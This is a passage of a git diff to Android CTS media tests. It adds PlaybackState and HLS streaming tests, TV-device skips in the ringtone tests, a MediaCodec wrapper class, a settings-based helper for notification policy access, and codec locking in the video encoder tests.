+        assertEquals(TEST_QUEUE_ITEM_ID, state.getActiveQueueItemId());
+        assertEquals(TEST_BUFFERED_POSITION, state.getBufferedPosition());
+        assertEquals(TEST_ERROR_MSG, state.getErrorMessage().toString());
+        assertEquals(EXTRAS_VALUE, state.getExtras().get(EXTRAS_KEY));
+    }
+
+    /**
+     * Test {@link PlaybackState.Builder#setState(int, long, float, long)}.
+     */
+    public void testBuilder_setStateWithUpdateTime() {
+        PlaybackState state = new PlaybackState.Builder().setState(
+                PlaybackState.STATE_REWINDING, TEST_POSITION,
+                TEST_PLAYBACK_SPEED_ON_REWIND, TEST_UPDATE_TIME).build();
+        assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+        assertEquals(TEST_POSITION, state.getPosition());
+        assertEquals(TEST_PLAYBACK_SPEED_ON_REWIND, state.getPlaybackSpeed(), DELTA);
+        assertEquals(TEST_UPDATE_TIME, state.getLastPositionUpdateTime());
+    }
+
+    /**
+     * Test {@link PlaybackState.Builder#addCustomAction(String, String, int)}.
+     */
+    public void testBuilder_addCustomAction() {
+        ArrayList<PlaybackState.CustomAction> actions = new ArrayList<>();
+        PlaybackState.Builder builder = new PlaybackState.Builder();
+
+        for (int i = 0; i < 5; i++) {
+            actions.add(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .build());
+            builder.addCustomAction(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i);
+        }
+
+        PlaybackState state = builder.build();
+        assertEquals(actions.size(), state.getCustomActions().size());
+        for (int i = 0; i < actions.size(); i++) {
+            assertCustomActionEquals(actions.get(i), state.getCustomActions().get(i));
+        }
+    }
+
+    /**
+     * Test {@link PlaybackState.Builder#addCustomAction(PlaybackState.CustomAction)}.
+     */
+    public void testBuilder_addCustomActionWithCustomActionObject() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        ArrayList<PlaybackState.CustomAction> actions = new ArrayList<>();
+        PlaybackState.Builder builder = new PlaybackState.Builder();
+
+        for (int i = 0; i < 5; i++) {
+            actions.add(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .setExtras(extras)
+                    .build());
+            builder.addCustomAction(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .setExtras(extras)
+                    .build());
+        }
+
+        PlaybackState state = builder.build();
+        assertEquals(actions.size(), state.getCustomActions().size());
+        for (int i = 0; i < actions.size(); i++) {
+            assertCustomActionEquals(actions.get(i), state.getCustomActions().get(i));
+        }
+    }
+
+    /**
+     * Test {@link PlaybackState#writeToParcel(Parcel, int)}.
+     */
+    public void testWriteToParcel() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        PlaybackState.CustomAction customAction1 = new PlaybackState.CustomAction
+                .Builder(TEST_CUSTOM_ACTION, TEST_CUSTOM_ACTION_NAME, TEST_ICON_RESOURCE_ID)
+                .setExtras(extras)
+                .build();
+
+        PlaybackState.Builder builder =
+                new PlaybackState.Builder().setState(PlaybackState.STATE_CONNECTING, TEST_POSITION,
+                TEST_PLAYBACK_SPEED, TEST_UPDATE_TIME)
+                .setActions(TEST_ACTIONS)
+                .setActiveQueueItemId(TEST_QUEUE_ITEM_ID)
+                .setBufferedPosition(TEST_BUFFERED_POSITION)
+                .setErrorMessage(TEST_ERROR_MSG)
+                .setExtras(extras);
+
+        for (int i = 0; i < 5; i++) {
+            builder.addCustomAction(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .setExtras(extras)
+                    .build());
+        }
+        PlaybackState state = builder.build();
+
+        Parcel parcel = Parcel.obtain();
+        state.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        PlaybackState stateOut = PlaybackState.CREATOR.createFromParcel(parcel);
+        assertEquals(PlaybackState.STATE_CONNECTING, stateOut.getState());
+        assertEquals(TEST_POSITION, stateOut.getPosition());
+        assertEquals(TEST_PLAYBACK_SPEED, stateOut.getPlaybackSpeed(), DELTA);
+        assertEquals(TEST_UPDATE_TIME, stateOut.getLastPositionUpdateTime());
+        assertEquals(TEST_BUFFERED_POSITION, stateOut.getBufferedPosition());
+        assertEquals(TEST_ACTIONS, stateOut.getActions());
+        assertEquals(TEST_QUEUE_ITEM_ID, stateOut.getActiveQueueItemId());
+        assertEquals(TEST_ERROR_MSG, stateOut.getErrorMessage());
+        assertEquals(EXTRAS_VALUE, stateOut.getExtras().get(EXTRAS_KEY));
+
+        assertEquals(state.getCustomActions().size(), stateOut.getCustomActions().size());
+        for (int i = 0; i < state.getCustomActions().size(); i++) {
+            assertCustomActionEquals(state.getCustomActions().get(i),
+                    stateOut.getCustomActions().get(i));
+        }
+        parcel.recycle();
+    }
+
+    /**
+     * Test {@link PlaybackState#describeContents()}.
+     */
+    public void testDescribeContents() {
+        assertEquals(0, new PlaybackState.Builder().build().describeContents());
+    }
+
+    /**
+     * Test {@link PlaybackState.CustomAction}.
+     */
+    public void testCustomAction() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        // Test Builder/Getters
+        PlaybackState.CustomAction customAction = new PlaybackState.CustomAction
+                .Builder(TEST_CUSTOM_ACTION, TEST_CUSTOM_ACTION_NAME, TEST_ICON_RESOURCE_ID)
+                .setExtras(extras)
+                .build();
+        assertEquals(TEST_CUSTOM_ACTION, customAction.getAction());
+        assertEquals(TEST_CUSTOM_ACTION_NAME, customAction.getName().toString());
+        assertEquals(TEST_ICON_RESOURCE_ID, customAction.getIcon());
+        assertEquals(EXTRAS_VALUE, customAction.getExtras().get(EXTRAS_KEY));
+
+        // Test describeContents
+        assertEquals(0, customAction.describeContents());
+
+        // Test writeToParcel
+        Parcel parcel = Parcel.obtain();
+        customAction.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        assertCustomActionEquals(customAction,
+                PlaybackState.CustomAction.CREATOR.createFromParcel(parcel));
+        parcel.recycle();
+    }
+
+    private void assertCustomActionEquals(PlaybackState.CustomAction action1,
+            PlaybackState.CustomAction action2) {
+        assertEquals(action1.getAction(), action2.getAction());
+        assertEquals(action1.getName(), action2.getName());
+        assertEquals(action1.getIcon(), action2.getIcon());
+
+        // To be the same, two extras should be both null or both not null.
+        assertEquals(action1.getExtras() != null, action2.getExtras() != null);
+        if (action1.getExtras() != null) {
+            assertEquals(action1.getExtras().get(EXTRAS_KEY), action2.getExtras().get(EXTRAS_KEY));
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
index 96b33da..3dff5bf 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
@@ -99,12 +99,19 @@
         return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
     }
 
+    private boolean isTV() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+    }
+
     public void testConstructors() {
         new RingtoneManager(mActivity);
         new RingtoneManager(mContext);
     }
 
     public void testAccessMethods() {
+        if (isTV()) {
+            return;
+        }
         if (!hasAudioOutput()) {
             Log.i(TAG, "Skipping testAccessMethods(): device doesn't have audio output.");
             return;
@@ -145,6 +152,9 @@
     }
 
     public void testStopPreviousRingtone() {
+        if (isTV()) {
+            return;
+        }
         if (!hasAudioOutput()) {
             Log.i(TAG, "Skipping testStopPreviousRingtone(): device doesn't have audio output.");
             return;
diff --git a/tests/tests/media/src/android/media/cts/RingtoneTest.java b/tests/tests/media/src/android/media/cts/RingtoneTest.java
index 1477f3f..31ae5bb 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneTest.java
@@ -107,10 +107,18 @@
 
     private boolean hasAudioOutput() {
         return getInstrumentation().getContext().getPackageManager()
-            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    private boolean isTV() {
+        return getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
     }
 
     public void testRingtone() {
+        if (isTV()) {
+            return;
+        }
         if (!hasAudioOutput()) {
             Log.i(TAG, "Skipping testRingtone(): device doesn't have audio output.");
             return;
diff --git a/tests/tests/media/src/android/media/cts/SdkMediaCodec.java b/tests/tests/media/src/android/media/cts/SdkMediaCodec.java
new file mode 100644
index 0000000..53a4ec8
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SdkMediaCodec.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.Callback;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import java.nio.ByteBuffer;
+
+public class SdkMediaCodec implements MediaCodecWrapper {
+
+    private final MediaCodec mCodec;
+    private final boolean mAsync;
+    private ByteBuffer[] mOutputBuffers;
+    private ByteBuffer[] mInputBuffers;
+
+    public SdkMediaCodec(MediaCodec codec, boolean async) {
+        this.mCodec = codec;
+        this.mAsync = async;
+    }
+
+    public SdkMediaCodec(MediaCodec codec) {
+        this(codec, false);
+    }
+
+    public MediaCodec getMediaCodec() {
+        return mCodec;
+    }
+
+    @Override
+    public final void release() {
+        mCodec.release();
+    }
+
+    @Override
+    public void configure(MediaFormat format, int flags) {
+        mCodec.configure(format, null, null, flags);
+    }
+
+    @Override
+    public void setInputSurface(InputSurfaceInterface surface) {
+        surface.configure(mCodec);
+    }
+
+    @Override
+    public final InputSurfaceInterface createInputSurface() {
+        return new InputSurface(mCodec.createInputSurface());
+    }
+
+    @Override
+    public final void start() {
+        mCodec.start();
+    }
+
+    @Override
+    public final void stop() {
+        mCodec.stop();
+    }
+
+    @Override
+    public final int dequeueOutputBuffer(BufferInfo info, long timeoutUs) {
+        return mCodec.dequeueOutputBuffer(info, timeoutUs);
+    }
+
+    @Override
+    public final void releaseOutputBuffer(int index, boolean render) {
+        mCodec.releaseOutputBuffer(index, render);
+    }
+
+    @Override
+    public final void signalEndOfInputStream() {
+        mCodec.signalEndOfInputStream();
+    }
+
+    @Override
+    public ByteBuffer[] getOutputBuffers() {
+        return mOutputBuffers = mCodec.getOutputBuffers();
+    }
+
+    @Override
+    public final String getOutputFormatString() {
+        return mCodec.getOutputFormat().toString();
+    }
+
+    @Override
+    public ByteBuffer getOutputBuffer(int index) {
+        return mAsync? mCodec.getOutputBuffer(index) : mOutputBuffers[index];
+    }
+
+    @Override
+    public ByteBuffer[] getInputBuffers() {
+        return mInputBuffers = mCodec.getInputBuffers();
+    }
+
+    @Override
+    public ByteBuffer getInputBuffer(int index) {
+        return mAsync? mCodec.getInputBuffer(index) : mInputBuffers[index];
+    }
+
+    @Override
+    public void queueInputBuffer(
+            int index,
+            int offset,
+            int size,
+            long presentationTimeUs,
+            int flags) {
+        mCodec.queueInputBuffer(index, offset, size, presentationTimeUs, flags);
+    }
+
+    @Override
+    public int dequeueInputBuffer(long timeoutUs) {
+        return mCodec.dequeueInputBuffer(timeoutUs);
+    }
+
+    @Override
+    public void setParameters(Bundle params) {
+        mCodec.setParameters(params);
+    }
+
+    @Override
+    public void setCallback(Callback mCallback) {
+        mCodec.setCallback(mCallback);
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 0db2e05..ab54e75 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -15,21 +15,28 @@
  */
 package android.media.cts;
 
-import android.cts.util.MediaUtils;
+import android.media.BufferingParams;
 import android.media.MediaFormat;
 import android.media.MediaPlayer;
 import android.media.MediaPlayer.TrackInfo;
 import android.media.TimedMetaData;
+import android.net.Uri;
+import android.os.Bundle;
 import android.os.Looper;
 import android.os.PowerManager;
 import android.os.SystemClock;
+import android.test.InstrumentationTestRunner;
 import android.util.Log;
 import android.webkit.cts.CtsTestServer;
 
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.IOException;
+import java.net.HttpCookie;
 import java.util.concurrent.atomic.AtomicInteger;
+import java.util.HashMap;
+import java.util.List;
 
 /**
  * Tests of MediaPlayer streaming capabilities.
@@ -54,8 +61,23 @@
 
     private CtsTestServer mServer;
 
+    private String mInputUrl;
+
     @Override
     protected void setUp() throws Exception {
+        // if launched with InstrumentationTestRunner to pass a command line argument
+        if (getInstrumentation() instanceof InstrumentationTestRunner) {
+            InstrumentationTestRunner testRunner =
+                    (InstrumentationTestRunner)getInstrumentation();
+
+            Bundle arguments = testRunner.getArguments();
+            mInputUrl = arguments.getString("url");
+            Log.v(TAG, "setUp: arguments: " + arguments);
+            if (mInputUrl != null) {
+                Log.v(TAG, "setUp: arguments[url] " + mInputUrl);
+            }
+        }
+
         super.setUp();
         dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
     }
@@ -160,6 +182,71 @@
                 + "0/key/ik0/file/m3u8", 60 * 1000);
     }
 
+    public void testHlsWithHeadersCookies() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        final Uri uri = Uri.parse(
+                "http://www.youtube.com/api/manifest/hls_variant/id/"
+                + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
+                + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
+                + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
+                + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
+                + "0/key/ik0/file/m3u8");
+
+        // TODO: dummy values for headers/cookies till we find a server that actually needs them
+        HashMap<String, String> headers = new HashMap<>();
+        headers.put("header0", "value0");
+        headers.put("header1", "value1");
+
+        String cookieName = "auth_1234567";
+        String cookieValue = "0123456789ABCDEF0123456789ABCDEF";
+        HttpCookie cookie = new HttpCookie(cookieName, cookieValue);
+        cookie.setHttpOnly(true);
+        cookie.setDomain("www.youtube.com");
+        cookie.setPath("/");        // all paths
+        cookie.setSecure(false);
+        cookie.setDiscard(false);
+        cookie.setMaxAge(24 * 3600);  // 24hrs
+
+        java.util.Vector<HttpCookie> cookies = new java.util.Vector<HttpCookie>();
+        cookies.add(cookie);
+
+        // Play stream for 60 seconds
+        playLiveVideoTest(uri, headers, cookies, 60 * 1000);
+    }
+
+    public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        String defaultUrl = "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+                            "bbb_1080p_30fps_11min/audio_only/prog_index.m3u8";
+
+        // if url override provided
+        String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
+
+        // Play stream for 60 seconds
+        playLiveAudioOnlyTest(
+                testUrl,
+                60 * 1000);
+    }
+
+    public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+            return; // skip
+        }
+
+        // Play stream for 60 seconds
+        playLiveVideoTest(
+                "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+                "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
+                60 * 1000);
+    }
+
+
     // Streaming audio from local HTTP server
     public void testPlayMp3Stream1() throws Throwable {
         localHttpAudioStreamTest("ringer.mp3", false, false);
@@ -292,6 +379,85 @@
         }
     }
 
+    // TODO: unhide this test when we sort out how to expose buffering control API.
+    private void doTestBuffering() throws Throwable {
+        final String name = "ringer.mp3";
+        mServer = new CtsTestServer(mContext);
+        try {
+            String stream_url = mServer.getAssetUrl(name);
+
+            if (!MediaUtils.checkCodecsForPath(mContext, stream_url)) {
+                Log.w(TAG, "can not find stream " + stream_url + ", skipping test");
+                return; // skip
+            }
+
+            // getDefaultBufferingParams should be called after setDataSource.
+            try {
+                BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
+                fail("MediaPlayer failed to check state for getDefaultBufferingParams");
+            } catch (IllegalStateException e) {
+                // expected
+            }
+
+            mMediaPlayer.setDataSource(stream_url);
+
+            mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+            mMediaPlayer.setScreenOnWhilePlaying(true);
+
+            mOnBufferingUpdateCalled.reset();
+            mMediaPlayer.setOnBufferingUpdateListener(new MediaPlayer.OnBufferingUpdateListener() {
+                @Override
+                public void onBufferingUpdate(MediaPlayer mp, int percent) {
+                    mOnBufferingUpdateCalled.signal();
+                }
+            });
+            mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+                @Override
+                public boolean onError(MediaPlayer mp, int what, int extra) {
+                    fail("Media player had error " + what + " playing " + name);
+                    return true;
+                }
+            });
+
+            assertFalse(mOnBufferingUpdateCalled.isSignalled());
+
+            BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
+
+            int newMark = -1;
+            BufferingParams newParams = null;
+            int initialBufferingMode = params.getInitialBufferingMode();
+            if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
+                    || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
+                newMark = params.getInitialBufferingWatermarkKB() + 1;
+                newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkKB(
+                        newMark).build();
+            } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
+                newMark = params.getInitialBufferingWatermarkMs() + 1;
+                newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkMs(
+                        newMark).build();
+            } else {
+                newParams = params;
+            }
+            mMediaPlayer.setBufferingParams(newParams);
+
+            int checkMark = -1;
+            BufferingParams checkParams = mMediaPlayer.getBufferingParams();
+            if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
+                    || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
+                checkMark = checkParams.getInitialBufferingWatermarkKB();
+            } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
+                checkMark = checkParams.getInitialBufferingWatermarkMs();
+            }
+            assertEquals("marks do not match", newMark, checkMark);
+
+            // TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
+
+            mMediaPlayer.reset();
+        } finally {
+            mServer.shutdown();
+        }
+    }
+
     public void testPlayHlsStream() throws Throwable {
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
index e8ceeae..33cc1b7 100644
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ b/tests/tests/media/src/android/media/cts/Utils.java
@@ -20,15 +20,28 @@
 import android.app.UiAutomation;
 import android.content.ContentResolver;
 import android.content.Context;
+import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
+import android.media.MediaPlayer;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.ParcelFileDescriptor;
 import android.provider.Settings;
-
+import com.google.android.collect.Lists;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.List;
 import java.util.Scanner;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import junit.framework.Assert;
 
 public class Utils {
+    private static final String TAG = "CtsMediaTestUtil";
+    private static final int TEST_TIMING_TOLERANCE_MS = 50;
+
     public static void enableAppOps(String packageName, String operation,
             Instrumentation instrumentation) {
         setAppOps(packageName, operation, instrumentation, true);
@@ -74,43 +87,125 @@
 
     protected static void toggleNotificationPolicyAccess(String packageName,
             Instrumentation instrumentation, boolean on) throws IOException {
-        Context context = instrumentation.getContext();
+
+        // Read the setting listing the package allowed to manage notification policy configuration
+        String alreadyEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
+
+        // The property is a list of : separated package
+        List<String> enabledServices = Lists.newArrayList(alreadyEnabledServices.split(":"));
+
+        // Actually add or remove the package from the list
+        if (on) {
+            // Only add the package if it is not already in the list
+            if (!enabledServices.contains(packageName)) {
+                enabledServices.add(packageName);
+                setNotificationPolicyAccessPackages(enabledServices, instrumentation);
+            }
+        } else {
+            // Remove all instance of the package in the list
+            if (enabledServices.removeIf(packageName::equals)) {
+                // Only update the settings if there was a change
+                setNotificationPolicyAccessPackages(enabledServices, instrumentation);
+            }
+        }
+    }
+
+    /** Read the setting listing the package allowed to manage notification policy configuration */
+    private static String querryNotificationPolicyAccessPakages(Instrumentation instrumentation) {
+        ContentResolver cr = instrumentation.getContext().getContentResolver();
+        String enabledService = Settings.Secure.getString(
+                cr,Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
+
+        // A non existing property is equivalent to no package listed
+        if (enabledService == null) {
+            enabledService = "";
+        }
+        return enabledService;
+    }
+
+    private static void setNotificationPolicyAccessPackages(final List<String> enabledServicesList,
+            final Instrumentation instrumentation) throws IOException {
+        // Format the list back to a string
+        String enabledServices = String.join(":", enabledServicesList);
+
+        // If the list is empty, remove the property by setting it to null
+        String enabledServicesStrOrNull = enabledServices.isEmpty() ? "null" : enabledServices;
+
+        // Write back the property to the settings database
+        String command = "settings --user cur put secure "
+                + Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES + "  "
+                + enabledServicesStrOrNull;
 
         // Get permission to enable accessibility
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
 
-        ContentResolver cr = context.getContentResolver();
-        String alreadyEnabledServices = Settings.Secure.getString(
-                cr, Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
-        ParcelFileDescriptor fd = null;
-        if (on) {
-            if ((alreadyEnabledServices == null) || !alreadyEnabledServices.contains(packageName)) {
-                // Change the settings to enable the media cts package
-                final String newEnabledServices = (alreadyEnabledServices == null) ? packageName
-                        : alreadyEnabledServices + ":" + packageName;
-                fd = uiAutomation.executeShellCommand(
-                        "settings --user cur put secure "
-                                + Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES + " "
-                                + newEnabledServices);
+        // Execute command
+        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            // Wait for the command to finish by reading until EOF
+            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+                byte[] buffer = new byte[4096];
+                while (in.read(buffer) > 0) {}
+            } catch (IOException e) {
+                throw new IOException("Could not read stdout of command: " + command, e);
             }
-        } else if (alreadyEnabledServices != null) {
-            int index =  alreadyEnabledServices.indexOf(":" + packageName);
-            if (index >= 0) {
-                fd = uiAutomation.executeShellCommand(
-                        "settings --user cur put secure "
-                                + Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES + " "
-                                + alreadyEnabledServices.substring(0, index));
-            } else if (alreadyEnabledServices.equals(packageName)) {
-                // "packageName" is the only enabled service
-                fd = uiAutomation.executeShellCommand("settings --user cur put secure "
-                        + Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES + "  null");
+        } finally {
+            uiAutomation.destroy();
+        }
+
+        // Read the settings again to make sure it is updated
+        String nowEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
+        Assert.assertEquals("Wrote setting should be the same as the read one",
+                enabledServices, nowEnabledServices);
+
+    }
+
+    /**
+     * Assert that a media playback is started and an active {@link AudioPlaybackConfiguration}
+     * is created once. The playback will be stopped immediately after that.
+     * <p>For a media session to receive media button events, an actual playback is needed.
+     */
+    static void assertMediaPlaybackStarted(Context context) {
+        final AudioManager am = new AudioManager(context);
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final TestAudioPlaybackCallback callback = new TestAudioPlaybackCallback();
+        MediaPlayer mediaPlayer = null;
+
+        try {
+            final int activeConfigSizeBeforeStart = am.getActivePlaybackConfigurations().size();
+            final Handler handler = new Handler(handlerThread.getLooper());
+
+            am.registerAudioPlaybackCallback(callback, handler);
+            mediaPlayer = MediaPlayer.create(context, R.raw.sine1khzs40dblong);
+            mediaPlayer.start();
+            if (!callback.mCountDownLatch.await(TEST_TIMING_TOLERANCE_MS, TimeUnit.MILLISECONDS)
+                    || callback.mActiveConfigSize != activeConfigSizeBeforeStart + 1) {
+                Assert.fail("Failed to create an active AudioPlaybackConfiguration");
             }
+        } catch (InterruptedException e) {
+            Assert.fail("Failed to create an active AudioPlaybackConfiguration");
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (mediaPlayer != null) {
+                mediaPlayer.stop();
+                mediaPlayer.release();
+                mediaPlayer = null;
+            }
+            handlerThread.quitSafely();
         }
-        if (fd != null) {
-            InputStream in = new FileInputStream(fd.getFileDescriptor());
-            byte[] buffer = new byte[4096];
-            while (in.read(buffer) > 0) ;
+    }
+
+    private static class TestAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
+        private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+        private int mActiveConfigSize;
+
+        @Override
+        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
+            // For non-framework apps, only anonymized active AudioPlaybackCallbacks will be
+            // notified.
+            mActiveConfigSize = configs.size();
+            mCountDownLatch.countDown();
         }
-        uiAutomation.destroy();
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
index c6e0578..c7101b5 100644
--- a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
@@ -21,8 +21,6 @@
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.MediaPerfUtils;
-import android.cts.util.MediaUtils;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo.VideoCapabilities;
 import android.media.MediaExtractor;
@@ -32,6 +30,8 @@
 import android.view.Surface;
 
 import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.MediaPerfUtils;
+import com.android.compatibility.common.util.MediaUtils;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index c2b665b..8dbdefb 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -20,7 +20,6 @@
 
 import android.media.cts.CodecUtils;
 
-import android.cts.util.MediaUtils;
 import android.graphics.ImageFormat;
 import android.graphics.SurfaceTexture;
 import android.media.Image;
@@ -40,6 +39,8 @@
 import android.util.Size;
 import android.view.Surface;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.IOException;
 import java.nio.ByteBuffer;
@@ -192,6 +193,7 @@
         protected boolean mEncoderIsActive;
         protected boolean mEncodeOutputFormatUpdated;
         protected final Object mCondition = new Object();
+        protected final Object mCodecLock = new Object();
 
         protected MediaFormat mDecFormat;
         protected MediaCodec mDecoder, mEncoder;
@@ -299,13 +301,15 @@
         }
 
         protected void close() {
-            if (mDecoder != null) {
-                mDecoder.release();
-                mDecoder = null;
-            }
-            if (mEncoder != null) {
-                mEncoder.release();
-                mEncoder = null;
+            synchronized (mCodecLock) {
+                if (mDecoder != null) {
+                    mDecoder.release();
+                    mDecoder = null;
+                }
+                if (mEncoder != null) {
+                    mEncoder.release();
+                    mEncoder = null;
+                }
             }
             if (mExtractor != null) {
                 mExtractor.release();
@@ -405,10 +409,33 @@
             mBitRate = bitRate;
         }
 
+        @Override
+        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+            synchronized (mCodecLock) {
+                if (mEncoder != null && mDecoder != null) {
+                    onInputBufferAvailableLocked(mediaCodec, ix);
+                }
+            }
+        }
+
+        @Override
+        public void onOutputBufferAvailable(
+                MediaCodec mediaCodec, int ix, BufferInfo info) {
+            synchronized (mCodecLock) {
+                if (mEncoder != null && mDecoder != null) {
+                    onOutputBufferAvailableLocked(mediaCodec, ix, info);
+                }
+            }
+        }
+
         public abstract boolean processLoop(
                 String path, String outMime, String videoEncName,
                 int width, int height, boolean optional);
-    };
+        protected abstract void onInputBufferAvailableLocked(
